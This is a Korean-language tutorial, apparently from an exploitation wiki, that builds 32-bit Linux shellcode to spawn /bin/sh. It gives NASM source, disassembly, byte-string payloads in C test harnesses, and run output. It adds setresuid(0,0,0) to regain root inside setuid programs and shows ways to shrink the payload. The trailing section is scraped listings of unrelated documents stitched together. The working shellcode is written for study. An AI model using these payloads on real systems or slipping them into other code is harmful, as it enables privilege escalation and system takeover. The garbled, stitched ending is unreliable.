02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C

Size: px
Start display at page:

Download "02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C"

Transcription

1 02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C language Assembly code Change permissions(seteuid()) Issue C language Assembly code Smaller Shellcode ESP Register CDQ(Convert Doubleword to Quadword) instruction PUSH, POP instruction execve("/bin/sh", NULL, NULL); Related site Comments Create a shellcode that executes "/bin/sh" C language Shell 을생성하려면시스템콜을해서 "/bin/sh" 프로그램을실행해야합니다. 아래와같이 C 언어에서는 "/bin/sh" 를실행할수있는함수들이다양합니다. Other program execution functions execl int execl( const char *path, const char *arg,...); 디렉토리와파일이름이합친전체이름 인수리스트 환경설정불가 execlp int execlp( const char *file, const char *arg,...); 파일이름 인수리스트 환경설정불가 execle int execle( const char *path, const char *arg,..., char * const envp[]); 디렉토리와파일이름이합친전체이름 인수리스트 환경설정가능 execv int execv( const char *path, char *const argv[]); 디렉토리와파일이름이합친전체이름 인수배열 환경설정불가 execvp int execvp( const char *file, char *const argv[]); 파일이름 인수배열 환경설정불가 execve int execve (const char *filename, char *const argv [], char *const envp[]); 전제경로명 인수배열 환경설정가능 아래코드는해당함수들중 execve() 함수를사용하여 "/bin/sh" 프로그램을실행합니다.

2 shell.c #include <unistd.h> int main() { char *argv[2] = {"/bin/sh", NULL; execve(argv[0], argv, NULL); 해당코드를빌드후실행하면다음과같이실행된프로그램을통해 shell 을사용할수있습니다. Run./shell lazenca0x0@ubuntu:~/shell$ gcc -o shell shell.c lazenca0x0@ubuntu:~/shell$./shell $ exit lazenca0x0@ubuntu:~/shell$ Assembly code 앞에서 C language 로작성한코드를그대로 Assembly code 로변경하면됩니다. 아래와같이 execve() 함수인자값이전달되어야합니다. 이것을어셈블하려면인자배열과환경배열이메모리상에구축돼있어야합니다. 그리고문자열 '/bin/sh' 도널바이트로끝나야합니다. 이부분도메모리상에구축되어있어야합니다. 그런데설명을보면프로그램이름을중복해서입력했는데, 이는프로그램을실행하면첫번째인수가실행한프로그램의전체이름이기때문입니다. 다시말씀드려 man() 함수의인수준 *argv[] 의첫번째문자열 argv[0] 은실행한프로그램의이름입니다. Argument info filename argv envp 실행할프로그램의문자열 ('/bin/sh') 이저장된주소 실행할프로그램의문자열 ('/bin/sh') 이저장된주소 환경배열은 Null pointer 참고로 System 함수에는 execl(), execlp (), execle (), execv (), execvp() 함수는없습니다. 해당함수들은모두 System 함수인 execve() 함수를활용해제공되는 C 표준함수들입니다. System call lazenca0x0@ubuntu:~/asm$ cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h grep exe #define NR_execve 11 #define NR_kexec_load 283 lazenca0x0@ubuntu:~/asm$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h grep exe #define NR_execve 59 #define NR_kexec_load 246 lazenca0x0@ubuntu:~/asm$ 첫번째, 두번째인자값으로 "/bin/sh" 를전달해야하며, 해당문자열의끝은 Null byte 가되어야합니다. 해당문제를해결하기위해 '[', ']' 기호를이용하여포인터형태 ( 역참조, dereference) 로사용할수있습니다. 아래예제의경우 "ebx 레지스터에저장된값 " 에 4 를더한메모리주소에 0 을저장합니다. 만약 "ebx 레지스터에저장된값 " 주소가아닐경우잘못된주소값을가리키기때문에에러가발생합니다. Dereference mov [ebx+4], 0 "Shellcode 의끝부분에 "/bin/sh" 를위치시켜면되지않을까?" 라고생각할수있습니다.

3 아래와같이취약성에의해 Shellcode 가저장될메모리영역에임의의값이저장되어있을수있습니다. 그렇기때문에 Shellcode 의끝부분에 "/bin/sh" 를위치시켜도해당문제를해결할수없습니다. Null byte Memory data String Shellcode 를메모리영역에저장전 0xAABBCCDDEEFFAABB ª»îª» Shellcode 를메모리영역에저장후 0x2f62696e2f7368AABB /bin/shª» "/bin/sh" 뒤에 null byte 가저장된경우 0x2f62696e2f736800BB /bin/sh 'argv', 'envp' 인자에는주소값이전달하기위해 'LEA' 명령어를사용할수있습니다. 'MOV' 명령어를이용해주소값을저장할수있지만 Shellcode 의크기가늘어납니다. lea instruction lea < Operand 1>, < Operand 2> 2번째피연산자의주소값을 1번째피연산자에저장합니다. Example Instruction Assembly code Raw Hex lea lea ecx, [ebx+8] 0x8D, 0x4B, 0x08 mov, add mov ecx, ebx add ecx, 8 0x89, 0xD9, 0x83, 0xC1, 0x08 앞의내용을참고하여다음과같이 "/bin/sh" 프로그램을실행하는 Shellcode 를작성할수있습니다. shellcode.s BITS 32 jmp short last ; shell "last:". shell: last: ; int execve(const char *filename, char *const argv [], char *const envp[]) pop ebx ; EBX. mov [ebx+7],al ; "/bin/sh" Null byte. mov [ebx+8],ebx ; [ebx+8] EBX. mov [ebx+12],eax ; [ebx+12] EAX 32 Null byte. lea ecx, [ebx+8] ; argv [ebx+8] ECX. lea edx, [ebx+12] ; envp [ebx+12] EDX. mov al, 11 ; AL execve(). int 0x80 ; call shell ; "/bin/sh" Stack. db '/bin/sh' ; call shell Stack. 앞에코드를빌드하면아래와같이 Shellcode 를획득할수있습니다.

4 Build & Disassemble nasm shellcode.s ndisasm shellcode EB16 jmp short 0x B pop bx C0 xor ax,ax mov [bp+di+0x7],al B08 mov [bp+di+0x8],bx B 89430C mov [bp+di+0xc],ax E 8D4B08 lea cx,[bp+di+0x8] D530C lea dx,[bp+di+0xc] B00B mov al,0xb CD80 int 0x E8E5FF call word 0x B FF db 0xff C FF2F jmp word far [bx] E 62696E bound bp,[bx+di+0x6e] F das jnc 0x8c 아래코드를이용해해당 Shellcode 를테스트할수있습니다. shell2.c #include<stdio.h> #include<string.h> unsigned char shellcode [] = "\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4b\x08\x8d\x53\x0c\xb0\x0b\xcd\x80\xe8\xe5\xff\xf f\xff/bin/sh"; unsigned char code[] = ""; void main(){ int len = strlen(shellcode); printf("shellcode len : %d\n",len); strcpy(code,shellcode); (*(void(*)()) code)(); 아래와같이 Shellcode 에의해 '/bin/sh' 가실행되어 shell 을사용할수있게되었습니다. Build & Run lazenca0x0@ubuntu:~/shell$ gcc -o shell2 -z execstack -m32 shell2.c lazenca0x0@ubuntu:~/shell$./shell2 Shellcode len : 36 $ Change permissions(seteuid()) Issue 일부 Setuid 가설정된프로그램에서 root 권한으로초기설정후 seteuid() 함수를이용하여일반권한을변경하는경우가있습니다. 이러한경우 Shellcode 를사용해 shell 을획득하더라도 seteuid() 함수에설정된권한으로 shell 을실행하게됩니다. 앞에서설명한내용을아래코드를사용해확인할수있습니다. shellcode 를실행하기전에 'seteuid(1000)' 함수를이용해프로그램의권한을일반권한으로변경하였습니다.

5 shell3.c #include<stdio.h> #include<string.h> #include <unistd.h> unsigned char shellcode [] = "\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4b\x08\x8d\x53\x0c\xb0\x0b\xcd\x80\xe8\xe5\xff\xf f\xff/bin/sh"; unsigned char code[] = ""; void main(){ seteuid(1000); int len = strlen(shellcode); printf("shellcode len : %d\n",len); strcpy(code,shellcode); void (*function)() = (void(*)())code; function(); 아래와같이프로그램의권한을 root 로설정하고, setuid 를설정하였으나 seteuid() 함수에의해권한이변경되었습니다. Build & Run lazenca0x0@ubuntu:~/shell$ gcc -o shell3 -z execstack -m32 shell3.c lazenca0x0@ubuntu:~/shell$ sudo chown root:root./shell3 lazenca0x0@ubuntu:~/shell$ sudo chmod 4755./shell3 lazenca0x0@ubuntu:~/shell$ ls -al total 44 drwxrwxr-x 2 lazenca0x0 lazenca0x Feb 21 00:44. drwxr-xr-x 24 lazenca0x0 lazenca0x Feb 15 00:37.. -rwsr-xr-x 1 root root 7568 Feb 21 00:44 shell3 -rw-rw-r-- 1 lazenca0x0 lazenca0x0 431 Feb 21 00:43 shell3.c lazenca0x0@ubuntu:~/shell$./shell3 Shellcode len : 36 $ 해당문제는 'setresuid' 시스템콜을사용하여해결할수있습니다. 해당함수는호출한프로세스의실제사용자 ID(real user ID), 유효사용자 ID(effective user ID), 저장된 set-user-id 를설정합니다. 즉, 해당함수를이용해 seteuid() 함수에의해권한이변경된프로세스의권한을변경할수있습니다. SYNOPSIS int setresuid(uid_t ruid, uid_t euid, uid_t suid); C language 아래와같이 C 언어로코드를작성합니다. setresuid() 함수를이용하여 root 권한을설정후 "/bin/sh" 프로그램을실행합니다. shell4.c #include <unistd.h> int main() { char *argv[2] = {"/bin/sh", NULL; setresuid(0, 0, 0); execve(argv[0], argv, NULL);

6 Assembly code 앞에서 C 언어로작성한코드를 Assembly code 로변경합니다. 기존에작성하였던 Shellcode 에 setresuid() 함수부분만추가합니다. 시스템번호는아래와같습니다. " NR_setresuid" : 164 " NR_setresuid32" : 208 두함수의차이점은지원하는유저, 그룹 ID 의 bit 수차이입니다. 16 bit, 32bit 여기에서는둘중어떤것을사용해도상관없습니다. unistd_32.h grep setresuid lazenca0x0@ubuntu:~/shell$ cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h grep setresuid #define NR_setresuid 164 #define NR_setresuid lazenca0x0@ubuntu:~/shell$ shellcode2.s BITS 32 jmp short last ; shell "last:". shell: last: ; setresuid(uid_t ruid, uid_t euid, uid_t suid); xor ebx, ebx ; EBX 0. xor ecx, ecx ; ECX 0. xor edx, edx ; EDX 0. mov al, 164 ; AL setresuid(). int 0x80 ;, root '0'. ; int execve(const char *filename, char *const argv [], char *const envp[]) pop ebx ; EBX. mov [ebx+7],al ; "/bin/sh" Null byte. mov [ebx+8],ebx ; [ebx+8] EBX. mov [ebx+12],eax ; [ebx+12] EAX 32 Null byte. lea ecx, [ebx+8] ; argv [ebx+8] ECX. lea edx, [ebx+12] ; envp [ebx+12] EDX. mov al, 11 ; AL execve(). int 0x80 ; call shell ; "/bin/sh" Stack. db '/bin/sh' ; call shell Stack. 앞에코드를빌드하면아래와같이 Shellcode 를획득할수있습니다.

7 Build & Disassemble nasm shellcode2.s ndisasm shellcode EB22 jmp short 0x C0 xor ax,ax DB xor bx,bx C9 xor cx,cx D2 xor dx,dx A B0A4 mov al,0xa C CD80 int 0x E 5B pop bx F 31C0 xor ax,ax mov [bp+di+0x7],al B08 mov [bp+di+0x8],bx C mov [bp+di+0xc],ax A 8D4B08 lea cx,[bp+di+0x8] D 8D530C lea dx,[bp+di+0xc] B00B mov al,0xb CD80 int 0x E8D9FF call word 0x FF db 0xff FF2F jmp word far [bx] A 62696E bound bp,[bx+di+0x6e] D 2F das E 7368 jnc 0x98 아래코드를이용해해당 Shellcode 를테스트할수있습니다. shell4.c #include<stdio.h> #include<string.h> #include <unistd.h> unsigned char shellcode [] = "\xeb\x22\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\xa4\xcd\x80\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4 b\x08\x8d\x53\x0c\xb0\x0b\xcd\x80\xe8\xd9\xff\xff\xff/bin/sh"; unsigned char code[] = ""; void main(){ int len = strlen(shellcode); printf("shellcode len : %d\n",len); seteuid(1000); strcpy(code,shellcode); (*(void(*)()) code)(); Shellcode 에추가된 "setresuid(0,0,0)" 코드에의해프로세스의 uid 가 root 로복구되었습니다. Build & run lazenca0x0@ubuntu:~/shell$ gcc -o shell4 -z execstack -m32 shell4.c lazenca0x0@ubuntu:~/shell$ sudo chown root:root./shell4 lazenca0x0@ubuntu:~/shell$ sudo chmod 4755./shell4 lazenca0x0@ubuntu:~/shell$./shell4 Shellcode len : 48 # id uid=0(root) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113 (lpadmin),128(sambashare) #

8 Smaller Shellcode 지금까지만든 Shellcode 는 Code 의길이를신경쓰지않고개발하였습니다. 취약성에의해공격자가값을저장할수있는메모리영역의크기는모두다릅니다. 사용가능한메모리공간이클수도있지만매우작을수도있기때문에 Shellcode 의크기는작은것이활용하기좋습니다. ESP Register ESP 레지스터는스택의최상단주소값을저장하고있는스택포인터입니다. PUSH 명령어가실행되면 Stack 에피연산자값을저장하고, ESP 레지스터에새로운최상위로주소값이저장됩니다. "ESP 레지스터에저장된주소값 " - 4 = PUSH 명령어실행후최상위주소값 POP 명령어가실행되면피연산자에 ESP 레지스터에저장된주소영역에저장된값을저장하고, ESP 레지스터에새로운최상위로주소값이저장됩니다. "ESP 레지스터에저장된주소값 " + 4 = POP 명령어실행후최상위주소값 ESP 레지스터와 PUSH 명령어를이용하여 "/bin/sh" 문자열을저장하고, 주소값을추출할수있습니다. PUSH 명령어를이용해 "/bin//sh" 문자열을 Stack 에저장합니다. Null byte 를제거하기위해 "/sh" 문자앞에 '/' 문자를추가합니다. PUSH 명령어에의해 ESP 레지스터는 "/bin//sh" 문자열의시작주소를저장하고있습니다. 즉, ESP 레지스터를이용해 Stack 에저장된 "/bin//sh" 문자열의주소를얻을수있습니다. 이로인해 "jmp short last" 명령어는사용하지않아도됩니다. 다음과같이 Shellcode 를작성할수있습니다. shellcode3.s BITS 32 ; setresuid(uid_t ruid, uid_t euid, uid_t suid); xor ebx, ebx ; EBX 0. xor ecx, ecx ; ECX 0. xor edx, edx ; EDX 0. mov al, 0xa4 ; setresuid() 164(0xa4) AL. int 0x80 ; setresuid(0, 0, 0) ; execve(const char *filename, char *const argv [], char *const envp[]) mov al, 11 ; execve() 11 AL. push ecx ; Null "//sh". push 0x68732f2f ; "//sh". push 0x6e69622f ; "/bin". mov ebx, esp ; ESP "/bin//sh" EBX. ; 2 3 push edx ; Null. mov edx, esp ; 3 Null. push ebx ; Stack "/bin//sh". mov ecx, esp ; 2 int 0x80 ; execve("/bin//sh",["/bin//sh",null],[null]) 앞에코드를빌드하면아래와같이 Shellcode 를획득할수있습니다.

9 Build & Disassemble nasm shellcode3.s ndisasm shellcode C0 xor ax,ax DB xor bx,bx C9 xor cx,cx D2 xor dx,dx B0A4 mov al,0xa A CD80 int 0x C 31C0 xor ax,ax E B00B mov al,0xb push cx F2F push word 0x2f2f jnc 0x7e F62 push word 0x622f E89E352 imul bp,[bp-0x77],word 0x52e E 89E2 mov dx,sp push bx E1 mov cx,sp CD80 int 0x80 아래코드를이용해해당 Shellcode 를테스트할수있습니다. shell5.c #include<stdio.h> #include<string.h> unsigned char shellcode [] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\xa4\xcd\x80\x31\xc0\xb0\x0b\x51\x68//shh /bin\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"; unsigned char code[] = ""; void main(){ int len = strlen(shellcode); printf("shellcode len : %d\n",len); strcpy(code,shellcode); (*(void(*)()) code)(); Shellcode 11 byte. Build & Run lazenca0x0@ubuntu:~/shell$ gcc -o shell5 -z execstack -m32 shell5.c lazenca0x0@ubuntu:~/shell$./shell5 Shellcode len : 37 $ CDQ(Convert Doubleword to Quadword) instruction CDQ(Convert Doubleword to Quadword) 라는단일바이트 x86 명령이있습니다. CDQ 명령은 EAX 레지스터에저장된값의부호비트 (Sign Flag) 를 EDX 레지스터에확장합니다. EAX 에저장된값이양수 ( ) 인경우 CDQ 명령어에의해 EDX 에 0x 이저장됩니다. SF = 0 EAX 에저장된값이음수 (SF = 1) 인경우 CDQ 명령어에의해 EDX 에 0xFFFFFFFF 이저장됩니다.

10 Positive number mov eax, 0x5 ; eax = 0x5, SF = 0 cdq ; edx = 0x Negative number mov eax, 0x5 ; eax = 0x5 neg eax ; eax = 0xFFFFFFFB, SF = 1 cdq ; edx = 0xFFFFFFFF XOR 명령어로 EDX 의값을 0 으로변경하는대신에 CDQ 명령어를이용할수있습니다. XOR 명령어를표현하기위해 2 byte 를사용하지만, CDQ 명령어는 1 byte 를사용합니다. 즉, CDQ 명령어를이용해 Shellcode 의크기를 1 byte 를줄일수있습니다. CDQ instruction xor edx,edx ; 31 D2 cdq ; 99 다음과같이 Shellcode 를작성할수있습니다. shellcode4.s BITS 32 ; setresuid(uid_t ruid, uid_t euid, uid_t suid); xor ebx, ebx ; EBX 0. xor ecx, ecx ; ECX 0. cdq ; EAX (Sign Flag) EDX 0. mov al, 0xa4 ; setresuid() 164(0xa4) AL. int 0x80 ; setresuid(0, 0, 0) ; execve(const char *filename, char *const argv [], char *const envp[]) mov al, 11 ; execve() 11 AL. push ecx ; Null "//sh". push 0x68732f2f ; "//sh". push 0x6e69622f ; "/bin". mov ebx, esp ; ESP "/bin//sh" EBX. ; 2 3 push edx ; Null. mov edx, esp ; 3 Null. push ebx ; Stack "/bin//sh". mov ecx, esp ; 2 int 0x80 ; execve("/bin//sh",["/bin//sh",null],[null]) 앞에코드를빌드하면아래와같이 Shellcode 를획득할수있습니다.

11 Build & Disassemble nasm shellcode4.s ndisasm shellcode C0 xor ax,ax DB xor bx,bx C9 xor cx,cx cwd B0A4 mov al,0xa CD80 int 0x B 31C0 xor ax,ax D B00B mov al,0xb F 51 push cx F2F push word 0x2f2f jnc 0x7d F62 push word 0x622f E89E352 imul bp,[bp-0x77],word 0x52e D 89E2 mov dx,sp F 53 push bx E1 mov cx,sp CD80 int 0x80 아래코드를이용해해당 Shellcode 를테스트할수있습니다. shell6.c #include<stdio.h> #include<string.h> unsigned char shellcode [] = "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x31\xc0\xb0\x0b\x51\x68//sh\x68 /bin\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"; unsigned char code[] = ""; void main(){ int len = strlen(shellcode); printf("shellcode len : %d\n",len); strcpy(code,shellcode); (*(void(*)()) code)(); 앞에서작성한 Shellcode 에서 1 byte 가줄어들었습니다. Build & Run lazenca0x0@ubuntu:~/shell$ gcc -o shell6 -z execstack -m32 shell6.c lazenca0x0@ubuntu:~/shell$./shell6 Shellcode len : 36 $ PUSH, POP instruction PUSH, POP 명령어를이용해코드를줄일수있습니다. 앞에서시스템콜을저장하기위해 XOR, MOV 명령어를사용하였습니다. 해당코드를 PUSH, POP 명령어를사용하여 Shellcode 의크기를 1 byte 줄일수있습니다. PUSH 명령어로값을저장할때저장되는값의크기를설정하는것이좋습니다. 유효한크기로는 1 바이트는 BYTE, 2 바이트 WORD, 4 바이트 DWORD 가있습니다.

12 XOR, MOV instruction xor eax,eax ; 31 C0 mov al,0xb ; B0 0B PUSH, POP instruction push byte +0xb ; 6A 0B pop eax ; 58 다음과같이 Shellcode 를작성할수있습니다. shellcode5.s BITS 32 ; setresuid(uid_t ruid, uid_t euid, uid_t suid); xor ebx, ebx ; EBX 0. xor ecx, ecx ; ECX 0. cdq ; EAX (Sign Flag) EDX 0. mov al, 0xa4 ; setresuid() 164(0xa4) AL. int 0x80 ; setresuid(0, 0, 0) ; execve(const char *filename, char *const argv [], char *const envp[]) push BYTE 11 ; execve() 11 Stack. pop eax ; Stack 11() EAX. push ecx ; Null Stack. push 0x68732f2f ; "//sh". push 0x6e69622f ; "/bin". mov ebx, esp ; execve() 1 (EBX) "/bin//sh" (ESP). ; 2 3 push edx ; Null. mov edx, esp ; execve() 3 (EDX) Null. push ebx ; Stack "/bin//sh". mov ecx, esp ; execve() 2 (ECX). int 0x80 ; execve("/bin//sh",["/bin//sh",null],[null]) "/bin//sh" 문자열을 Stack 에저장할때 Little-endian format 으로저장해야합니다. Example String Hex Little-endian format //sh 0x2f2f7368 0x68732f2f /bin 0x2f62696e 0x6e69622f 아래코드를이용해해당 Shellcode 를테스트할수있습니다.

13 shell7.c #include<stdio.h> #include<string.h> unsigned char shellcode [] = "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68//sh\x68 /bin\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"; unsigned char code[] = ""; void main(){ int len = strlen(shellcode); printf("shellcode len : %d\n",len); strcpy(code,shellcode); (*(void(*)()) code)(); 앞에서작성한 Shellcode 에서 1 byte 가줄어들었습니다. Build & Run lazenca0x0@ubuntu:~/shell$ gcc -o shell7 -z execstack -m32 shell7.c lazenca0x0@ubuntu:~/shell$./shell7 Shellcode len : 35 $ execve("/bin/sh", NULL, NULL); execve() "/bin/sh" 2. 2 Null. execvenull.c #include <unistd.h> int main() { execve("/bin/sh", NULL, NULL); Build & Run lazenca0x0@ubuntu:~$ gcc -o null execvenull.c execvenull.c: In function 'main': execvenull.c:4:9: warning: null argument where non-null required (argument 2) [-Wnonnull] execve("/bin/sh", NULL, NULL); ^ lazenca0x0@ubuntu:~$./null $ exit lazenca0x0@ubuntu:~$ execve(2) - Linux manual page - man7.org

14 다음과같이 Shellcode 를작성할수있습니다. shellcode6.s BITS 32 ; setresuid(uid_t ruid, uid_t euid, uid_t suid); xor ebx, ebx ; EBX 0. xor ecx, ecx ; ECX 0. cdq ; EAX (Sign Flag) EDX 0. ; execve() 3 (EDX) Null. mov al, 0xa4 ; setresuid() 164(0xa4) AL. int 0x80 ; setresuid(0, 0, 0) ; execve(const char *filename, char *const argv [], char *const envp[]) push BYTE 11 ; execve() 11 Stack. pop eax ; Stack 11() EAX. push ecx ; Null Stack. push 0x68732f2f ; "//sh". push 0x6e69622f ; "/bin". mov ebx, esp ; execve() 1 (EBX) "/bin//sh" (ESP). ; 2 3 mov ecx, edx ; execve() 2 (ECX) Null. int 0x80 ; execve("/bin//sh",null,null) 아래코드를이용해해당 Shellcode 를테스트할수있습니다. shell8.c #include<stdio.h> #include<string.h> unsigned char shellcode [] = "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\xb\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89 \xd1\xcd\x80"; unsigned char code[] = ""; void main(){ int len = strlen(shellcode); printf("shellcode len : %d\n",len); strcpy(code,shellcode); (*(void(*)()) code)(); 앞에서작성한 Shellcode 에서 4 byte 가줄어들었습니다. Build & Run lazenca0x0@ubuntu:~$ gcc -o shell8 -z execstack -m32 shell8.c lazenca0x0@ubuntu:~$./shell8 Shellcode len : 31 $ exit lazenca0x0@ubuntu:~$ Related site

15 Comments

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Example 3.1 Files 3.2 Source code 3.3 Exploit flow

More information

PowerPoint Template

PowerPoint Template BoF 원정대서비스 목차 환경구성 http://www.hackerschool.org/hs_boards/zboard.php?id=hs_notice&no=1170881885 전용게시판 http://www.hackerschool.org/hs_boards/zboard.php?id=bof_fellowship Putty War game 2 LOB 란? 해커스쿨에서제공하는

More information

Deok9_Exploit Technique

Deok9_Exploit Technique Exploit Technique CodeEngn Co-Administrator!!! and Team Sur3x5F Member Nick : Deok9 E-mail : DDeok9@gmail.com HomePage : http://deok9.sur3x5f.org Twitter :@DDeok9 > 1. Shell Code 2. Security

More information

hlogin2

hlogin2 0x02. Stack Corruption off-limit Kernel Stack libc Heap BSS Data Code off-limit Kernel Kernel : OS Stack libc Heap BSS Data Code Stack : libc : Heap : BSS, Data : bss Code : off-limit Kernel Kernel : OS

More information

01.The basics technic of Shellcode Excuse the ads! We need some help to keep our site up. List Shellcode The basics of shellcode(ubuntu-16.04) C ASM M

01.The basics technic of Shellcode Excuse the ads! We need some help to keep our site up. List Shellcode The basics of shellcode(ubuntu-16.04) C ASM M 01.The basics technic of Shellcode Excuse the ads! We need some help to keep our site up. List Shellcode The basics of shellcode(ubuntu-16.04) C ASM Machine code Assembly code Linux system call in assembly

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 System Software Experiment 1 Lecture 5 - Array Spring 2019 Hwansoo Han (hhan@skku.edu) Advanced Research on Compilers and Systems, ARCS LAB Sungkyunkwan University http://arcs.skku.edu/ 1 배열 (Array) 동일한타입의데이터가여러개저장되어있는저장장소

More information

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co Basic reverse engineering on x86 This is for those who want to learn about basic reverse engineering on x86 (Feel free to use this, email me if you need a keynote version.) v0.1 SeungJin Beist Lee beist@grayhash.com

More information

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F > 10주차 문자 LCD 의인터페이스회로및구동함수 Next-Generation Networks Lab. 5. 16x2 CLCD 모듈 (HY-1602H-803) 그림 11-18 19 핀설명표 11-11 번호 분류 핀이름 레벨 (V) 기능 1 V SS or GND 0 GND 전원 2 V Power DD or V CC +5 CLCD 구동전원 3 V 0 - CLCD 명암조절

More information

CKKeyPro 적용가이드

CKKeyPro 적용가이드 3.20 사이버테러악성코드분석보고서 라온시큐어보안기술연구팀 작성일 : 2013. 03 페이지 : 1/15 Introduction 2013년 3월 20일오후, MBC, KBS, YTN, 농협, 신한은행, 제주은행전산망장애가동시에발생하였다. 피해기관들의호스트약 500여대에오류메시지가화면에나타났으며악성코드에감염된호스트는사용할수없는상태가되었다. 현재까지정확한침투경로가밝혀지지않고있다.

More information

No Slide Title

No Slide Title Copyright, 2017 Multimedia Lab., UOS 시스템프로그래밍 (Assembly Code and Calling Convention) Seong Jong Choi chois@uos.ac.kr Multimedia Lab. Dept. of Electrical and Computer Eng. University of Seoul Seoul, Korea

More information

Microsoft PowerPoint - ch07 - 포인터 pm0415

Microsoft PowerPoint - ch07 - 포인터 pm0415 2015-1 프로그래밍언어 7. 포인터 (Pointer), 동적메모리할당 2015 년 4 월 4 일 교수김영탁 영남대학교공과대학정보통신공학과 (Tel : +82-53-810-2497; Fax : +82-53-810-4742 http://antl.yu.ac.kr/; E-mail : ytkim@yu.ac.kr) Outline 포인터 (pointer) 란? 간접참조연산자

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED Controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

강의10

강의10 Computer Programming gdb and awk 12 th Lecture 김현철컴퓨터공학부서울대학교 순서 C Compiler and Linker 보충 Static vs Shared Libraries ( 계속 ) gdb awk Q&A Shared vs Static Libraries ( 계속 ) Advantage of Using Libraries Reduced

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 KeyPad Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 에는 16 개의 Tack Switch 를사용하여 4 행 4 열의 Keypad 가장착 4x4 Keypad 2 KeyPad 를제어하기위하여 FPGA 내부에 KeyPad controller 가구현 KeyPad controller 16bit 로구성된

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-SEGMENT DEVICE CONTROL - DEVICE DRIVER Jo, Heeseung 디바이스드라이버구현 : 7-SEGMENT HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 디바이스드라이버구현 : 7-SEGMENT 6-Digit 7-Segment LED

More information

Microsoft Word - building the win32 shellcode 01.doc

Microsoft Word - building the win32 shellcode 01.doc Win32 Attack 1. Local Shellcode 작성방법 By 달고나 (Dalgona@wowhacker.org) Email: zinwon@gmail.com Abstract 이글은 MS Windows 환경에서 shellcode 를작성하는방법에대해서설명하고있다. Win32 는 *nix 환경과는사뭇다른 API 호출방식을사용하기때문에조금복잡하게둘러서 shellcode

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Chapter 10 포인터 01 포인터의기본 02 인자전달방법 03 포인터와배열 04 포인터와문자열 변수의주소를저장하는포인터에대해알아본다. 함수의인자를값과주소로전달하는방법을알아본다. 포인터와배열의관계를알아본다. 포인터와문자열의관계를알아본다. 1.1 포인터선언 포인터선언방법 자료형 * 변수명 ; int * ptr; * 연산자가하나이면 1 차원포인터 1 차원포인터는일반변수의주소를값으로가짐

More information

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO 01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - POP; POP; POP; RET PLT & GOT Debug Proof of concept Example

More information

Microsoft PowerPoint - a10.ppt [호환 모드]

Microsoft PowerPoint - a10.ppt [호환 모드] Structure Chapter 10: Structures t and Macros Structure 관련된변수들의그룹으로이루어진자료구조 template, pattern field structure를구성하는변수 (cf) C언어의 struct 프로그램의 structure 접근 entire structure 또는 individual fields Structure는

More information

10.

